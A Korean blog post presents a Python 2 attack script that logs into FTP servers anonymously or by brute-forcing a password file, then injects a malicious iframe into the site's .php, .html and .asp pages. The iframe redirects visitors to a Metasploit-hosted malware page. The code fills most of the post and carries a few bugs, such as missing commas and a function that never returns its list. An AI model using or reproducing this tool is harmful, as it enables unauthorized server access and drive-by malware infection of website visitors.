(만약 본 게시글이 저작권 법에 위촉된다면 바로 삭제 하겠습니다.)


어제까지는 SSH에 대해 다루었는데요.


이번에는 FTP접속을해서 웹페이지에 제가 metasploit으로 악성코드가 있는 웹페이지로 리다이렉션


하게 만드는걸 다룰려고 합니다.


일단 소스코드가 100줄 정도 되니


무작정 올린는거 보다.


FTP를 이용해서 웹페이지까지 수정할려면 

어떤 순서로 코드를 짜야될지 부터 말하고 올리도록 하겠습니다.


일단 로그인을 해야되고

익명으로 로그인이 안되면 

브루트 포스로 뚫어야 됩니다.

그렇게 로그인에 성공하면


.php나 .html 그리고 .asp 확장자의 문서를 찾습니다.


어차피 웹에 쓰이는 거고 하나만 인젝션 해도 성공이니까요 굳이 메인 페이지를 안찾아도 됩니다.


그리고 사용자에게 입력맡은 리다이렉션 코드를 수정해주고 나와주면 끝~!(이때 iframe태그를 사용합니다)


소스는 다음과 같습니다~


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# -*- coding: utf-8 -*-
 
import ftplib
import optparse
import time
 
def anonLogin(hostname): # 익명 로그인 시도
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous''me@your.com')
        print '\n[*]' + str(hostname) \
            + ' FTP Anonymous Logon Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(hostname) +\
            ' FTP Anonymous Logon Failed.'
        return False
 
def bruteLogin(hostname, passwdFile): #만약 익명 로그인이 안되면 무차별 대입
    pF = open(passwdFile, 'r')
    for line in pF.readline():
        time.sleep(1)
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print '[+] Trying: ' +userName + '/' + passWord
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(userName, passWord)
            print '\n[*] ' + str(hostname) +\
                ' FTP Logon Succeeded: ' + userName+'/'+passWord
            ftp.quit()
            return (userName, passWord)
        except Exception,e:
            pass
    print '\n[-] Could not brute force FTP credentials.'
    return (None, None)
def returnDefault(ftp):
    try:
        dirList = ftp.nlst() #FTP파일 목록 저장
    except:
        dirList = []
        print '[-] Could not list directory countents'
        print' [-] Skipping To Next Target'
        return
    retList = []
    for fileName in dirList:
        fn = fileName.lower()
 
    if '.php' in fn or '.html' in fn or '.asp' in fn: #확장자 파일 찾는 작업
        print '[+] Found Default page: '+ fileName
        retList.append(fileName)
 
def injectPage(ftp, page, redirect): #입력받은 리다이렉션 링크 삽입
    f =open(page + '.tmp''w')
    ftp.retrlines('RETR ' + page, f.write)
    print '[+] Downloaded Page: ' + page #권한 문제 때문에 다운받아 수정하고 다시 올리는 방식
 
    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page
 
    ftp.storlines('STOR ' + page, open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page
 
def attack(username, password, tgtHost, redirect): #여태 만든 함수들로 공격코드 작성
    ftp  = ftplib.FTP(tgtHost)
    ftp.login(username, password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp, defPage, redirect)
 
def main():
    parser = optparse.OptionParser('usage %prog '+\
        '-H <target host[s]> -r <redirect page> '+\
                '[-f <userpass file>]')
 
    parser.add_option('-H', dest = 'tgtHosts', type = 'string',\
                      help = 'specify target host')
    parser.add_option('-f', dest='passwdFile', type='string', \
                      help='specify user/password file')
    parser.add_option('-r', dest='redirect', type='string', \
            help='specify a redirection page')
 
    (options, args) = parser.parse_args()
    tgtHosts = str(options.tgtHosts).split(',')
    passwdFile = options.passwdFile
    redirect = options.redirect
 
    if tgtHosts == None or redirect == None:
        print parser.usage
        exit(0)
    for tgtHost in tgtHosts:
        username = None
        password = None
        if anonLogin(tgtHost) == True:
            username = 'anonymous'
            password = 'me@your.com'
            print '[+] Using Anonymous Creds to attack'
            attack(username, password, tgtHost, redirect)
 
        elif passwdFile != None:
            (username, password) =\
            bruteLogin(tgtHost, passwdFile)
            if password != None:
                '[+] Using Creds: ' +\
                    username + '\ ' + password + ' to attack'
                attack(username, password, tgtHost, redirect)
if __name__ == '__main__':
    main()
cs


이번에는 주석좀 넣어봤습니다.


함수가 어떤 동작을 하는지만 적어봤는데


앞으로는 귀찮아 하지말고 적어야겠죠ㅋㅋ


근데 앞에서 다 설명해 버려서 할것도 없다는......


뭐 여기까지 하도록 하죠ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

+ Recent posts